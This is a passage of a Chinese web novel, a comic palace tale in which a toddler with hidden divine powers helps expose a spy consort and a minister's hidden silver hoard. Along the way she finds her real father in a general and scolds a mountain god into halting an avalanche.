萧景珩一样一样往外拿,往呦呦怀里塞:
“这是上回你说好看的那个弓箭,我让人照着做的小号的!”
“这是木马,我骑过,可稳了!”
“这些糖是外邦进贡的,母后赏我的,我都攒着没舍得吃,都给呦呦妹妹!”
许呦呦被一堆宝贝埋住,小嘴张得圆圆的。
眼睛却是亮晶晶的,她从点心堆里爬出来,扑过去抱住萧景珩。
“得得,最好啦!”
萧景珩被扑得往后一仰,小脸腾得红了,却稳稳接住她,笑得见牙不见眼。
皇后坐在一旁,看着两个孩子滚作一团,心里那块最柔软的地方被轻轻托住。
珩儿活蹦乱跳,瑜儿安然无恙。
多好。
再回想起刚才一幕……
皇后的眼神一点一点冷下来。
若不是她及时赶到……
她不敢想,呦呦会怎么样?
哼!!
这一切,都怪那个狗男人。
若不是他为了安抚前朝,纳什么劳什子尚书之女,哪来今日这出?
就算是太后那边塞人,他就接着?
他倒是深明大义了,可是呦呦差点被人扔进太液池!
皇后的手微微攥紧。
“秋月。”皇后声音不高。
“传本宫口谕,凤仪宫门口,加派人手守着。”
秋月一怔:“娘娘的意思是……”
皇后神色微怒,“从今日起,没有本宫允许,任何人不得入凤仪宫。”
她顿了顿,补充道:“尤其是……狗男人。”
秋月心头突突直跳,也只能垂首:“是。”
满宫里,也只有娘娘敢如此对陛下。
偏生,陛下就吃这一套。
哎!真是一个愿打,一个愿挨。
此时的御书房。
皇帝收到凤仪宫传话的时候,气得将户部尚书安秉才的奏折撕个稀巴烂。
他费尽心思刚把皇后哄好,昨晚才刚能留宿凤仪宫。
这踏马,今日就出幺蛾子了!
皇帝气的一脚又将案桌踢翻。
这时,宫人来报,说安婕妤求见。
安婕妤跪在殿外,浑身湿透,裹着披风直打哆嗦,哭得撕心裂肺。
“让她滚进来……”皇帝声音冷如寒冰。
安婕妤还未进门,就哭得梨花带雨:“陛下!求陛下为臣妾做主啊!”
“臣妾今日,被人冲撞……”
“你闭嘴!!”皇帝把茶盏往案上一顿,茶水溅了一桌。
安婕妤吓得腿软,整个人伏在地上,浑身止不住地抖。
那个在朝堂上威严端方的帝王。
此刻眼神冷得像淬过冰的刀,一刀一刀剐在她身上。
“陛、陛下……”她颤抖着开口,眼泪混着脸上的水渍往下淌,“臣妾冤枉啊……”
“冤枉?”皇帝站起身,一步一步从御案后走出来,龙袍曳地,脚步沉沉。
“哼,你告诉朕,冤枉你什么了?”
安婕妤伏在地上,拼命回想……
她不过是教训了一个不懂规矩的丫头,不过是让人把那丫头扔进湖里醒醒脑,不过是……
可是,那丫头还好好的啊!
甚至,一根头发都没掉!
反倒是她,被扔进太液池,泡得浑身发紫,差点丢了半条命!
“陛下!”她膝行两步,泪眼婆娑,“臣妾今日在宫道上遇见了许小姐,她尊卑不分,冲撞臣妾,臣妾只是想教她规矩……”
“教规矩?”
皇帝打断她,声音冷得没有一丝温度。
“她的规矩,什么时候轮到你教了?”
安婕妤一愣,随即慌了神,“臣妾、臣妾不敢……”
“你不敢?”皇帝眼神如剑,“那你又哪来的胆量,敢买通御前的人?”
安婕妤的脸色,瞬间从惨白变成死灰。
不可能!
这是她刚安插的眼线,他怎么可能查到?
“你真当朕不知道你那点心思?”
“说罢,南国派你来,到底要做什么?”
皇帝俯下身,看着她的眼睛。
安婕妤吓得浑身颤抖,嘴唇哆嗦着,一个字也吐不出来。
她不明白。
她明明计划的天衣无缝。
每一步都做足了功课,算准了时机。
“陛下,”她的声音发颤,似在最后挣扎,“臣妾是太后亲封的婕妤,是户部尚书嫡女,怎会与南国有关系?”
皇帝直起身,看着她。
那目光平静得像在看一个死人。
“看看吧!”
安婕妤颤抖着手接过。
只一眼,她的血色便彻底褪尽。
那是——她与南国人往来的密信。
可是这辈她藏在极隐秘的地方,不可能被人找到。
“你费尽心思入宫,打探朝堂消息,传递密信出宫。”皇帝的声音从头顶传来,让人窒息。
“你以为你做得天衣无缝?”
“你以为你那套‘失而复得’的嫡女身份,能骗过所有人?”
安婕妤伏在地上,浑身剧烈颤抖。
她筹谋三年,好不容易借着“户部尚书嫡女”的身份入宫。
她以为自己年轻貌美,聪慧过人,一定能把这昏君迷得团团转。
只要得了圣宠,便能一步步接近核心,刺探机密。
可入宫一月,她连陛下的衣角都没碰到。
她不甘心。
筹谋多年,今日却因为一个奶娃娃,一切都成了一场空……
“高德全,”皇帝的声音淡漠如水,“将她打入诏狱!”
“狗皇帝,你别想如愿……”话未说完,安婕妤起身就往石柱上撞。
一道黑影迅雷不及掩耳之势,在她未碰到柱子前,一掌将她劈晕。
高公公:щ(??????)щ
真不愧是龙虎卫啊!!
随即,人就被拖走了……
半晌。
皇帝低声问:“皇后那边……怎么说?”
高公公垂首,小心翼翼道:“回陛下,凤仪宫传话,娘娘还在生气。”
“还有呢?”
“娘娘说……说不许陛下去凤仪宫,门也不许进。”
皇帝沉默片刻。
“摆驾凤仪宫。”
高公公抬头:“陛下,娘娘说门不许进……”
“谁说朕要进门了……”皇帝理直气壮,“朕就站门口。”
第19章 窝在……钱钱在
片刻后。
一道明黄色的身影,在凤仪宫门口,探头探脑,东张西望。
身后的高公公: ̄_ ̄|||
“陛下,要不,老奴去……”
对上皇帝要吃人的眼神,高公公吓得就差把脑袋都缩进了胸腔。
“朕自己站着!”皇帝压低声音,横眉一竖,“朕是来认错的,不是来叫门的!”
高公公:“……是。”
您这也不像认错,您这像踩点。
正僵持着,身后传来一阵急促的脚步声。
“父皇,您这是干嘛?莫不是……又被母后撵出来了?”
萧景瑜大步流星,气喘吁吁地走了过来。
一看亲爹这熟悉的架势,就知道发生何事了。
“混账,这是你对老子说话的态度?”皇帝横眉一竖。
就算是的,也不能就这么数出来啊,老子不要脸的嘛?
“父皇,儿臣知错了,以后定当没看见……”
“哎呀,父皇,别打,儿臣错了……”
萧景瑜憋着笑,侧身躲着。
皇帝收回腿,理了理龙袍,努力端出几分帝王威严:“说。”
萧景瑜正要开口,身后那扇紧闭的殿门忽然“吱呀”一声开了。
皇帝浑身一僵。
那反应,跟做坏事被当场抓获似的。
高公公默默别过脸……
陛下,您是一国之君,您能不能硬气点?
皇后抱着许呦呦,缓步迈出门槛。
她一身绛紫宫装,眉目沉静,目光淡淡扫过来。
皇帝立刻立正站好。
“梓童。”他声音放软,脸上堆出笑,“朕来了。”
皇后没理他,甚至连个眼神都没给他,倒是热情洋溢地拉着萧景瑜,“瑜儿,快进来!”
皇帝跟在身后,脸黑得像一块炭。
“嘿嘿,嘿嘿,爬耳朵……”呦呦拽着自己的小耳朵,笑得摇头晃脑。
而整个凤仪宫,其他人纵使肩膀剧烈抖动,也是死一般的寂静,只剩下小家伙肆无忌惮的咯咯笑声。
皇帝:(╬▔皿▔)╯
“呦呦,皇伯伯是爱重你皇后姨姨,不舍得让她生气……”皇帝满眼深情地看着皇后。
“咳咳……瑜儿,你来可有要事?”皇后面色羞红,尴尬地转移话题。
这个狗男人,当着这么多孩子的面,为老不尊!
“说吧,查出什么了?”皇帝转头看向儿子。
萧景瑜上前一步,压低声音:“父皇,儿臣带龙虎卫去了京郊后山。”
“那座山洞……找到了。”
“金灿灿的,满满一洞。”萧景瑜的声音沉下来,“儿臣粗略估算,至少千万两之巨。”
皇帝眸色深深,手狠狠攥紧。
千万两……
“周围有乔装打扮的屠户模样的人巡防,”萧景瑜继续道,“明面上是看山护林,实则是守着那洞。儿臣的人盯了许久,发现户部尚书府的管家,亲自来与一个屠户交涉。”
皇后听完,不可思议地看着他两,“这……”
皇帝上前,轻轻握住她的手,“这是户部尚书安秉才藏的。”
“那安婕妤?”皇后眉心紧紧蹙着,前朝后宫,她深深知道其中的门道。
“她是南国奸细,三年前就开始布局,借着‘失而复得’的嫡女身份混进安府,又借着太后的手送进宫来。”
“梓童,真没有做任何对不起你的事……”
皇帝赶紧竖起三根指头,深情款款地对着皇后。
众人:o_o....
真是无处不在的存在感啊!
皇后却心头巨动。
安婕妤竟然是南国奸细!
若不是呦呦今日阴差阳错撞破……
她不敢想,那女人若真得了圣宠,一步步接近核心,能捅出多大的篓子。
“梓童,不会的,朕心里只有你一人!”皇帝轻轻揽过皇后微微颤抖的肩。
“父皇,儿臣现在就带人缴了它……”萧景瑜立即上前请命。
“不可!!”皇帝和皇后,同时惊呼出声。
“扒要!!”许呦呦也同时惊呼出声。
安秉才敢贪墨这么多,不会毫无准备。
瑜儿才十一岁,如此凶险之事,怎可让他孤身犯险?
得得那么美,可不能让他一人去。
“让……窝去!”
“窝在……钱钱在……”
“窝不在……钱钱不在……”
小家伙在众人惊诧的眼神中,昂首挺胸而出。
“更不可!!”皇帝和皇后,这次更是斩钉截铁。
呦呦才一岁半,那凶险,无异于羊入虎口。
“呦呦,哥哥去就行了,你不能去!”萧景瑜蹲下身子抱起她,满眼宠溺。
“呦呦妹妹,你要去,我也去,我保护……”
萧景珩话还没说完,就被皇后一个眼神瞪了回去。
许呦呦滴溜溜地看着大家,小脸瞬间垮了下来。
哎!
该死的天道!
她该怎么说呢?
下凡那日,她的法力就自动被就封印了。
而且那群老东西还说了,她不能参与人间因果,否则……
否则啥来着?
她当时忙着收宝贝,没听清。
反正,就是不能乱插手就对了。
可是……
那可是满满一山洞的钱钱啊!
金灿灿的,亮瞎眼的,堆成山的钱钱啊!
她眼巴巴地看着皇帝,小胖手拽着他的龙袍,开始打比喻:
“皇伯伯,”她奶声奶气,“窝就似嗦……万一哈,万一……”
“万一……”她绞尽脑汁,小脸都快皱成包子,“万一……大大的滴雪团,崩了呢?”
皇帝一愣:“雪崩?”
“对对!”小奶包眼睛一亮,,“就似,雪雪,然后……轰!!”
她伸出小胖手,拿出吃奶的力气砸了下来。
“呜呜,钱钱……木有了!”
一想到钱钱没了,她的小脸立刻皱成一团,痛心疾首。
这次,众人看懂了。
凤仪宫,再次陷入沉寂。
想到山洞里那些银子,相当于国库半年的收入。
皇帝痛心疾首。
可是呦呦的话,他万分之万地相信。
但是,他决不能让呦呦犯险。
皇帝站起身,脑子里飞快地转了一圈。
龙虎卫是精锐,但毕竟是暗卫,明面上不好大动干戈。
需要一个人——能光明正大带兵围剿,又足够心细不会打草惊蛇。
最好还得有点运气,能镇得住那帮人的邪性。
他眼睛忽然一亮。
镇远大将军!!
“呦呦乖,”他蹲下身,耐心哄,“那地方危险,皇伯伯派最厉害的人去,一定赶在雪崩之前,把银子都给你带回来,好不好?”
“最腻害的银……不似窝嘛?”
“雪团团……怕窝呀!”
小姑娘傲娇地拍了拍自己的胸脯。
第20章 泥……似窝爹爹
众人瞬间愣神。
呦呦的意思……是她要是去了,就不会雪崩?
“父皇,把呦呦带着,让舅舅全程护着,不会有事的。”萧景瑜思忖片刻,看着呦呦期待的眼神,还是不舍得拒绝。
“得得……好!窝……稀饭!”小家伙拉着萧景瑜的衣服,一抖一抖。
哇哦,亮瞎眼的钱钱啊!
窝马上我就看泥们了!!
“好吧!”皇帝点头,“那就让他带三千精兵,打着剿匪的旗号,把那座山给朕围了。”
“告诉他,不仅要把山洞里的东西,还要将呦呦全须全尾地带回来。”
片刻后。
镇国大将军顾振宇,被宣进宫觐见。
他可是当今皇后的嫡出弟弟,年纪轻轻,却在京都城家喻户晓。
人更是眉如刀裁,目若寒星,生的气宇轩昂,常年征战让他身上散发出来的,都是久经沙场的凌厉气息。
他十五岁出征,二十岁独领一军,曾以三千铁骑破北狄两万精锐,一战封神。
十五年来戍守边关,大小百余战,从未让敌军踏入中原半步。
他与皇帝自幼相识,年少时便结为生死之交。
当年御驾亲征遇伏,是他以血肉之躯替皇帝挡下致命一箭。
那道疤痕至今仍在他肩头,也刻在皇帝心里。
可这位威震天下的将军,至今孑然一身。
传闻五年前他曾在一次刺杀中救下一名女子,救下后将女子送至医馆,他忙着追击,再等他回去时,女子却杳无音讯。
“陛下,娘娘,你们这么着急忙慌地喊微臣来干啥?”
“是不是帮微臣找到梦中仙女了?”
顾振宇一出口,皇帝捏着眉心,强行将要叹出的气憋了回去。
皇后也是看天看地,就不看他。
“振宇啊!朕……朕一直在派人寻找啊……”
“可是,你给的信息,实在是少得可怜,找的难度相当大啊!”
皇帝又狠狠捏了一把眉心。
好家伙!
四年前,这小子喜滋滋地回来说,他有了心上人,当时把他和皇后高兴坏了。
皇后当即就张罗着,帮他赐婚,要为他上门提亲。
结果这小子,支支吾吾,憋了半天,愣是没把人姑娘说出个一二三。
姓甚名谁都不知道也就罢了!
最后,只给出三个关键信息:
女!
美!
好!
皇后被他搞得头大,让他将女子容貌画出来,便于寻找。
结果,他画了一张,让人“不忍直视”的画!
完全就是跟女、美、好,毫无关系呀!
就这样,找了四年……
他也单了四年……
导致整个京都城,都在传言,他不近女色,甚至还有谣言,说他有断袖之癖。
为了这事,皇帝也没少挨皇后骂!
哎……
一天找不到他的梦中仙女,皇帝的日子就难过一天。
“爹爹……泥似窝爹爹!”许呦呦两眼放光地看着顾振宇,双手双脚并用,迅速爬到顾振宇腿边,张开双手要抱抱。
顾振宇一脸懵逼地看着眼前粉糯的小团子。
不是,这崽崽,可爱是真可爱,好看也是真好看。
但是,他连个媳妇都找不到的人,哪来的闺女啊?
皇帝更是震惊,心里顿时不是滋味。
他含在嘴里怕化了,捧在手心怕摔了的呦呦,竟然喊别人“爹爹”。
皇帝:щ(??????)щ
“呦呦,你为什么喊他爹爹?”皇帝强忍心中的嫉妒。
“他……救窝凉!”
“狗屁爹……驾货!”
“他……才配,当窝爹!”
小家伙抱着顾振宇的大腿,使劲往上爬。
顾振宇低头看着软乎乎的小团子,整个人都僵成了石雕。
这崽崽说什么?
救她娘?
他救过的女子……
五年前……
医馆……
轰的一声!
顾振宇脑海里像是炸开了花。
他猛地抬头看向皇帝皇后,嘴唇哆嗦着,半天憋不出一个字。
帝后,互相对视一眼,眼里掀起巨大的波澜。
“振宇……”皇后激动的眼中都有了泪花。
却忽然又怅然若失,“杨氏若是你要找的人,怕也是一场空啊……”
杨婉云已为人妇,还有了孩子。
振宇就算是对她情根深种,也不能硬抢啊!
“扒似……窝凉……要踹了,狗屁爹爹!!”
许呦呦抬起小腿摇摇晃晃地就踹了出去。
吓得顾振宇一把将她抱了起来。
看着小家伙明媚的大眼睛,与他记忆中的小仙女,竟完全重合了!
他心里更加确认,杨婉云,定是她的小仙女!
“乖闺女,走,爹爹带你找你娘去。”顾振宇转身就走,丝毫没有顾及在场之人的感受。
“你……你站住!”皇后顿时慌了。
这叫什么事,人家还没和离,还只是深闺妇人,
你这一去,让人家的名声往哪搁?
皇后话音刚落,顾振宇的脚步猛然一顿。
他看了看呦呦,又看向皇后,眼神里的光芒暗了暗,却很快又燃起更烈的火。
“阿姐,我知道。”他的声音沉下来,带着沙哑,“许振山宠妾灭妻的事,我没少听说。”
“是我没用。”顾振宇眼眶发红,声音像是从牙缝里挤出来的,“让她吃了这么多年的苦。”
许振山,他不会让他好过。
皇帝站在一旁,默默地在心里给许振山点了三根蜡烛。
这小子,护短护得厉害。当年有人骂了他阿姐一句,他能追出三条街把人揍得满地找牙。
现在知道他心心念念的小仙女被欺负成这样……
许振山,自求多福吧。
顾振宇深吸一口气,缓缓说道,“若她愿意和离,我就猛烈追她。”
“一天不行就一个月,一个月不行就一年,一年不行就一辈子。”
“反正我单了四年,不差再等几年。”
他低头看着许呦呦,“闺女。”
“诶!”许呦呦响响亮亮地应了,“爹爹,凉亲……愿意滴!”
“应为,窝……很愿意呀!”
顾振宇高兴地将她高高举起,直接架在了自己脖子上。
“啊啊啊啊!我有闺女喽!”他扯着嗓子大喊,在御书房转起圈来。
然后,他忽然停下来,得意扬扬地看着皇帝,眉毛一挑:
“陛下,羡慕不?”
皇帝:(╬▔皿▔)╯
第21章 钱钱……窝来啦
皇帝一脸嫌弃地摆摆手:“行了行了,瞧你那点出息。”
他走回御案前,神色一正:“说正事。”
顾振宇见状,忙将呦呦抱下来,恭恭敬敬站好。
“安秉才在京郊后山藏了一洞银子,至少千万两。”皇帝沉声道,“朕要你带三千精兵,打着剿匪旗号,速去围了那座山。”
“银子要,人也要——安秉才的管家在那边盯着,给朕活捉。”
顾振宇眸光一凛:“臣领旨!”
“还有。”皇帝顿了顿,看向许呦呦,“把她带上。”
“什么?!”顾振宇差点跳起来,“陛下,臣是去抄家,不是去踏青!我闺女那么小,万一磕着碰着——”
“你当朕舍得?”皇帝瞪他一眼,压低声音,“这丫头,有灵性。”
他将安秉才和安婕妤的事简略说了,还将萧景瑜赶走,萧景珩蛊毒清除等事,一并告诉了顾振宇。
“而且呦呦说,那山洞会雪崩。”皇帝深深看他一眼。
顾振宇越听越心惊,低头看着怀里的小团子。
小团子正冲他咧嘴笑,“爹爹,窝去……保夫泥!”
顾振宇沉默片刻。
“好。”他抱紧呦呦,声音沉得像铁,“我带她去。”
“闺女,爹爹一定把你护好!”
许呦呦小手拍着他的脸:“爹爹不怕!窝……超腻害滴!”
顾振宇笑了,心里更柔软了。
第二日天不亮,三千精兵悄然出城。
顾振宇骑在马上,怀里揣着个小团子,小团子裹得跟个球似的,只露两只大眼睛,兴奋地东张西望。
“钱钱……窝来啦!”
三千精兵悄无声息地摸到后山脚下时,天色刚刚擦亮。
顾振宇勒住缰绳,眯眼望向半山腰。
“将军,探子回来了。”副将凑上前低声道,“山洞在背阴处,洞口有二十来个屠户模样的把守,暗桩还有十几处。洞里进进出出的,估摸着至少五十人。”
顾振宇冷笑一声:“七十来号人,守着千万两银子,安秉才倒是心大。”
顾振宇看向副将,压低声音吩咐:“分三路。你带一千人从左翼包抄,李校尉带一千人从右翼,我带一千人正面摸上去。”
“记住,要快,要狠,不能放走一个活口去报信。”
“是!”
三千精兵如鬼魅般散开,没入山林。
顾振宇抱着呦呦,带着一千人悄无声息地往上摸。
他征战十五年,这种偷袭摸营的事做过不下百次,闭着眼睛都知道该怎么走。
可今天不一样。
今天怀里揣着个软乎乎的小团子。
他时不时低头看一眼,生怕树枝刮着她,生怕颠簸磕着她。
只是小团子睁着大眼睛,精神得很,还给他指路:“爹爹,那边……钱钱在那边!”
顾振宇哭笑不得:“你怎么知道?”
“窝……闻到啦!”小团子吸了吸鼻子,“金铲铲的……”
顾振宇:(@_@;)
嗯,果真……特别!
山洞越来越近。
洞口燃着篝火,几个屠户打扮的汉子正围坐着喝酒吃肉。
暗处隐约可见人影晃动,警惕性倒是不低。
顾振宇打了个手势。
一千精兵瞬间伏低身子,屏息凝神。
他抬起手,正要下令——
“呜——!”
山洞里忽然传来一阵沉闷的号角声。
顾振宇脸色一变。
糟了,被发现了!
“有官兵!抄家伙!”洞口那些屠户扔下酒碗,噌地站起来,抓起刀枪。
“杀!”
顾振宇再不犹豫,一声令下,震天喊杀声骤起。
一千精兵如猛虎下山,朝着洞口扑去。
刀光剑影,血花飞溅。
那些屠户打扮的看守,竟是训练有素的私兵,刀法狠辣,拼死抵抗。
可他们再强,也架不住三千精兵的围剿。
左右两翼几乎同时杀到,三路人马将山洞团团围住。
顾振宇一手抱着呦呦,一手持剑,剑光所过之处,无一合之敌。
“爹爹……棒棒!”小团子在他怀里拍手叫好,“后面……砍他!”
顾振宇嘴角抽了抽:“闺女,咱能不能别看这么血腥的……”
话没说完,一个黑影挥刀砍来。
顾振宇侧身避开,反手一剑,那人应声倒地。
不到半个时辰,七十余名看守死的死,伤的伤,被俘的被俘。
副将快步跑来:“将军,全拿下了!山洞里……天爷啊,全是银子!”
顾振宇抱着呦呦走进山洞。
饶是他见多识广,也被眼前的景象震住了。
金灿灿,白花花,堆成山的银锭、金条,在火把照耀下晃得人睁不开眼。
“钱钱!”小团子两眼放光,拼命挣扎,“窝滴……钱钱!”
顾振宇心里酸酸的,闺女跟她娘,定是受了好多委屈,不然也不会如此见钱眼开。
以后,所有的钱都给她娘儿俩。
“报!”一个士兵冲进来,“将军,清点完毕,一共抓了七十二人,杀了三十一,还剩……”
“报!!!”
又一个士兵连滚带爬地冲进来,脸色煞白。
“将军,不好了!有个人趁乱往山顶跑了!兄弟们追上去,结果……结果……”
顾振宇心头一沉:“结果什么?”
“雪崩!雪崩了!”
轰隆隆——
话音未落,地动山摇。
顾振宇抱着呦呦冲出山洞,抬头一看,瞳孔猛然收缩。
山顶上,滚滚雪浪如天河倒泻,铺天盖地地砸下来。
那声势,仿佛要将整座山都吞没。
“快跑!”
“往山下撤!”
“来不及了!太快了!”
士兵们惊恐的喊叫声此起彼伏。
顾振宇看着那铺天盖地的雪浪,脑子里只有一个念头。
完了。
他征战十五年,从没怕过死。
他怀里抱着软糯的闺女,把她紧紧抱在胸前,用自己的后背对着那即将砸下来的雪浪。
“不怕。”他声音发抖,却拼命挤出笑,“爹爹在。”
雪浪越来越近。
三百丈。
两百丈。
一百丈。
巨大的轰鸣声震耳欲聋,冰冷的寒气扑面而来。
顾振宇闭上眼睛。
“够了!!”
怀里的小团子忽然发出一声惊天动地的怒吼。
第22章 泥似不似,针对窝?
顾振宇猛地睁眼。
怀里的小团子挣开他的怀抱,站在雪地里,小短腿岔开,小胖手叉腰,仰头望着山顶,小脸气得通红。
“泥介个……狗东西!”
“泥给窝……滚粗来!”
顾振宇懵了。
闺女在……叫谁?
小团子指着山顶,跳着脚骂,“窝让泥看着点……看着点,泥倒好,崩了!”
“辣些坏银,抢钱钱时,泥咋不崩!”
“他们要,嘎窝爹爹时,泥咋不崩!”
“窝把坏银都噶了,泥蹦出来,耍疯!”
“泥似不似傻!!”
顾振宇此时,已经悄悄遣散了周围的士兵。
这也是对呦呦的保护。
毕竟,她太过奇特!
然而,下一瞬。
诡异的事发生了。
山顶上那铺天盖地的雪浪,竟硬生生停在半空。
就那么悬着,一动不动。
仿佛被一只无形的手摁住了。
顾振宇瞪大了眼睛。
他能感觉到,山顶上有什么东西……醒了。
一股无形的威压从山顶蔓延下来,压得人几乎喘不过气。
唯独许呦呦,叉着腰,昂着头,凶巴巴地瞪着山顶。
“缩缩缩,缩什么缩!给窝,滚下来!”
一阵寒风刮过。
山顶上,凭空出现一道虚影。
那是个须发皆白的老者,穿着一身雪白的袍子,身形高大,面容威严。
他立在山巅,俯视着脚下这群凡人,目光最后落在许呦呦身上。
然后——
膝下一软,差点给跪了!
顾振宇看不见老者,他只看见小团子仰着头,小嘴叭叭叭个不停。
“泥还有脸,康窝?!”
“泥康康,泥干滴好似!”
“窝一来,泥就崩!泥似不似,针对窝?”
“泥嗦,似不似?”
半空中,上雪山神地吓得大气都不敢出。
“小祖宗息怒……”他卑微地将腰往下低了又低,“小神并非针对您,实在是这些人触发了禁制……”
“放泥凉地屁屁!”
小团子一蹦三尺高,“禁制,似泥设滴吧?”
“泥设滴时候,扒几道,洞里有钱钱?”
“泥早扒崩,晚扒崩,偏窝把坏银,都噶了泥崩。”
“泥,几个意思!”
上雪山神:≡(▔﹏▔)≡
我要是知道,是你,崩了我自己,都不会崩这座山啊!
上雪山神卑微的就差伏在地上了,浑身飕飕发抖。
几千年前,他耗费毕生心血,培植了满山的“万年雪莲”啊!
却就被这个小祖宗,偶然路过此处发现了。
结果……
愣是一颗都没给他留啊!!
他恨不得将心头血呕出来啊!!
可是,他……他惹不起啊!
这祖宗是出了名的“路见不平,寸草不生”——被她看上的东西,就没有能留下的。
上雪山神看着眼前这个叉腰骂街的小团子,又看看身后那悬在半空的雪浪,欲哭无泪。
“小祖宗息怒。”上雪山神努力陪着笑,“小神知错,小神这就把这帮畜生收回来。”
他抬手一挥,四周升起结界。
悬在半空的雪浪,仿佛被一只无形的大手推着,竟开始往回退。
退得很乖,却又很快,像做错事的孩子。
顾振宇张大了嘴。
那铺天盖地的雪浪,就那么……缩回去了。
回到山顶,乖乖地趴着,一动不动。
而周围之人,被上雪山神下了结界,他们毫无感知。
小团子满意地点点头,小手一挥:“行辣,退下吧。”
“若似再犯,定不挠你!”
上雪山神如蒙大赦,身形一闪,逃得比风都快。
许呦呦回过头,她眨眨大眼睛,咧嘴一笑:
“爹爹,窝把他,赶肘了。”
顾振宇腿一软,直接坐地上了。
他这……这闺女……
何止是灵性啊!
这踏马,明明是……神性啊!
顾振宇看着周围,所有人神色并未有异样,才稍微松了口气。
他一把将呦呦抱了起来,心里却无比坚定,以后定要护好呦呦,决不能让她被有心之人觊觎。
当天下午。
整个京都城都炸了锅。
“听说了吗?户部尚书安秉才贪墨千万两,被抓进诏狱了!”
“天爷啊,千万两啊!这畜生,怎么不怕遭雷劈的?”
“何止啊!秋后问斩,府里上上下下几十口人,全流放三千里!”
茶楼酒肆、街头巷尾,全在议论这件惊天大案。
而此刻,杨府门口。
顾振宇骑着马,怀里抱着裹成球的小团子,小心翼翼地从马背上下来。
目光却忍不住往门内飘。
那道门里,是他找了四年的人吗?
门内传来急促的脚步声。
杨婉云提着裙摆匆匆跑出来,暖阳下那张脸白得近乎透明,眉眼温婉如江南烟雨。
此刻,她眼眶通红。
昨夜,一夜没合眼。
刘嬷嬷回来说明情况后,她心里焦虑至极。
纵使知道呦呦身怀异能,她也担忧不已。
“呦呦!”
她一把将女儿搂进怀里,搂得紧紧的,浑身都在发抖。
“凉亲……”小团子被勒得有点喘不过气,但还是乖乖趴在她肩上,小胖手拍拍她的背,“窝肥来啦,窝木事。”
杨婉云闭上眼,眼泪扑簌簌往下掉。
顾振宇站在一旁,整个人都僵住了。
是她!
就是她!!
四年前,那个在巷口被他救下的小仙女。
那日他疯了一样找遍了京城所有医馆,可她就像人间蒸发了一样。
他以为这辈子再也见不到她。
如今她就站在面前。
眉眼还是那样温婉,只是比四年前清减了些,眼底有藏不住的疲惫。
却依然还是那样美得惊心动魄!
他想开口说点什么。
想问她这些年过得好不好。
也想告诉她,他找了她四年。
可他什么都说不出来。
他只是直挺挺地站着,手攥成了拳头,指甲掐进掌心里。
不能说。
至少现在不能说。
她还没和离,还是许家妇。
他若贸然开口,只会坏了她的名声,让她成为全都城的笑柄。
他深吸一口气,压下心口那股翻涌的热流,努力让自己的声音听起来平静:
“杨夫人,呦呦平安送回。在下……告辞!”
杨婉云这才注意到他,连忙屈膝行礼:“多谢将军护送小女。”
许呦呦在娘亲怀中,冲着顾振宇狡黠一笑,仿佛在说,“爹爹,窝懂你!”
第23章 说吧,选哪个?
顾振宇双颊迅速飞上红晕,不敢多看,只拱了拱手,翻身上马,打马就走。
走出去老远,他才敢回头看了一眼。
那道门已经关上了。
他勒住马,在原地站了许久。
“将军?”副将凑上来。
顾振宇回过神,扯了扯嘴角:“没事,走吧。”
他在心里默默道:
婉云,等着我。
这边,杨府大门“砰”一声关上。
杨婉云抱着呦呦,穿过垂花门,一路走进正厅。
她把小团子往椅子上一放,转身走到桌边,拿起两样东西,“啪”地拍在桌上。
一根鸡毛掸子。
一块搓衣板。
“说吧。”杨婉云双手抱胸,咬牙切齿,“选哪个?”
许呦呦眨巴眨巴眼,看看鸡毛掸子,又看看搓衣板。
小脸瞬间垮下来。
“凉亲……”她使出杀手锏,小嘴一瘪,眼泪在眼眶里打转,“窝……窝错啦……”
杨婉云心尖一颤,但还是硬着心肠:“错哪儿了?”
“窝……窝不该……去山洞……”
“还有呢?”
“窝……窝不该……让凉亲担心……”
杨婉云眼眶又红了。
她蹲下身,轻轻地摸着小奶娃的脑袋,声音发抖:
“呦呦,娘不是要罚你,娘只是害怕……”
“你才一岁半,那山洞多危险你知道吗?你要是出了什么事,娘一个人怎么活?”
小胖手笨拙地给她顺气,“凉亲不哭,窝知道啦……”
但是,杨婉云却瞬间板起脸:
“知道没用,得长记性。说吧,鸡毛掸子还是搓衣板?”
许呦呦:≧﹏≦
凉,窝可以不选吗?
她正左右为难,门外忽然传来一声中气十足的大吼:
“住手!!”
一个须发花白的老头儿旋风般冲进来,一把将小团子捞进怀里,护得死死的。
“谁敢动我宝贝孙女?!”
杨婉云愕然:“……爹?”
杨老爷风尘仆仆,显然是连夜赶路来的。
他身后还跟着两个年轻女子,一个英气勃勃,一个温婉端庄。
“我听说我宝贝孙女被人欺负了!”杨老爷吹胡子瞪眼,“我倒要看看是谁?”
“我就说姓许的,都不是什么好东西,果真如此!”
许呦呦瞬间瞪大眼睛,指了指自己:“歪祖护,窝,也姓许!”
杨老爷子瞬间换了张脸,笑得见牙不见眼,“哎哟,我的小心肝儿,你可是祖父的宝贝啊!”
说着还将呦呦往上抛了抛……
杨婉云扶额:“爹,您怎么连夜来了?”
“我能不来吗?”杨老爷瞪她,“我闺女带着外孙女被人欺负,我这个当爹的能做事不管?”
他把小团子往怀里搂了搂,脸色一正:“婉云,你信里说的事,爹都办妥了。”
他一指身后那两个女子:
“冬梅,秋香,是咱们杨家暗卫里最拔尖的。”
两人上前,单膝跪地:“奴婢冬梅/秋香,见过夫人,见过小姐。”
杨老爷捋着胡子:“冬梅武功最高,以后贴身保护呦呦。秋香心细,还通医理,跟着你合适。”
小团子眨巴眨巴眼,忽然伸出小胖手,拽拽杨老爷的胡子。
“歪祖父,呦呦,稀饭您!”
杨老爷被拽得龇牙咧嘴,却笑得见牙不见眼。
杨婉云看着这一幕,心里又暖又酸。
这三年,为了不让许振山为难,她从未跟娘家联系过。
没想到她一出事,父亲便连夜赶来。
望着父亲两鬓斑白的霜发,杨婉云心里酸涩不已。
糊涂了三年,以后一定好好在父亲跟前尽孝。
阳光从门缝里斜斜照进来,落在一家人身上,暖融融的。
翌日。
阳光明媚,万里无云。
许呦呦带着冬梅,来到了都城最热闹长宁街。
街道上,糖人、面人、风车、糖葫芦……琳琅满目,应有尽有。
一开始,小家伙还昂首挺胸,目不斜视。
刚走几步。
眼睛开始乱飘。
又走几步。
脖子开始乱转。
再走几步。
呃……彻底迈不动了。
因为面前就是糖人摊。
草把子上插满了各种各样的糖人——小兔子、小老虎、小猴子……在阳光下晶莹剔透,亮晶晶的,甜滋滋的,仿佛在朝她招手。
小家伙眼睛都直了。
“冬梅,”她仰起小脸,眼睛亮晶晶的,“泥看辣个糖银,像不像窝?”
